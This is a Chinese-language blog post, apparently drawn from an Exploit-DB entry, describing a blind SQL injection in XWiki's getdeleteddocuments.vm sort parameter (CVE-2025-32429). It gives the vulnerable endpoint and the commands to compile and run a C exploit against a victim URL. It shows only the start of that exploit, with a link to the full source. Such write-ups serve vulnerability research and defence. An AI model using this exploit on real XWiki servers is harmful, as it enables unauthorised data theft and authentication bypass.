XWiki 14 SQL注入漏洞利用详解

本文详细介绍了XWiki 14平台中通过getdeleteddocuments.vm模板存在的SQL注入漏洞(CVE-2025-32429),包含漏洞原理、利用方法和PoC代码实现,适用于安全研究人员进行漏洞验证和防护。

漏洞标题:XWiki 14 - 通过getdeleteddocuments.vm的SQL注入

Google Dork: 不适用

日期:2025年7月28日

漏洞作者:Byte Reaper

LinkedIn: 不适用

厂商主页:https://www.xwiki.org

软件链接:https://www.xwiki.org

版本:XWiki Platform ≤ 14.x

测试环境:XWiki Platform ≤ 14.x

CVE:CVE-2025-32429

漏洞描述

XWiki Platform的getdeleteddocuments.vm模板存在盲注SQL注入漏洞,具体通过sort参数利用。攻击者可通过向以下REST端点发送特制载荷来利用该漏洞:

1
/xwiki/rest/liveData/sources/liveTable/entries?sourceParams.template=getdeleteddocuments.vm&sort=<PAYLOAD>

攻击者可将任意SQL语句注入底层数据库查询,导致数据泄露、身份验证绕过或拒绝服务。该漏洞已在XWiki Platform最高14.x版本上通过基于C语言的curl利用程序验证。

复现步骤

  1. 将提供的exploit.c文件保存到本地环境。
  2. 编译PoC:
    1
    
    gcc -o exploit exploit.c argparse.c -lcurl
    
  3. 对易受攻击的实例执行:
    1
    
    ./exploit -u http://victim.example.com/xwiki
    
  4. 观察响应延迟或注入内容,表明SQL执行成功。

概念验证

  • GitHub PoC:https://github.com/byteReaper77/CVE-2025-32429/blob/main/exploit.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
 * 作者       : Byte Reaper
 * Telegram   : @ByteReaper0
 * CVE        : CVE-2025-32429
 * 漏洞类型   : SQL注入
 * 描述      : XWiki平台getdeletedocuments.v文件中的sort操作符存在漏洞,导致可向sort=参数注入恶意SQL语句。
 * ------------------------------------------------------------------------------------------------------------------------------------
 */

#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#define URL 2500
const char *yourUrl = NULL;
int verbose = 0;
int selecetCookie = 0;
const char *cookies = NULL;

// ...(完整C代码实现,包含SQL注入检测、WAF绕过等功能)

标签

  • SQL注入
  • 漏洞利用
  • 网络安全

咨询/来源

  • 链接:https://www.exploit-db.com/exploits/52384
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计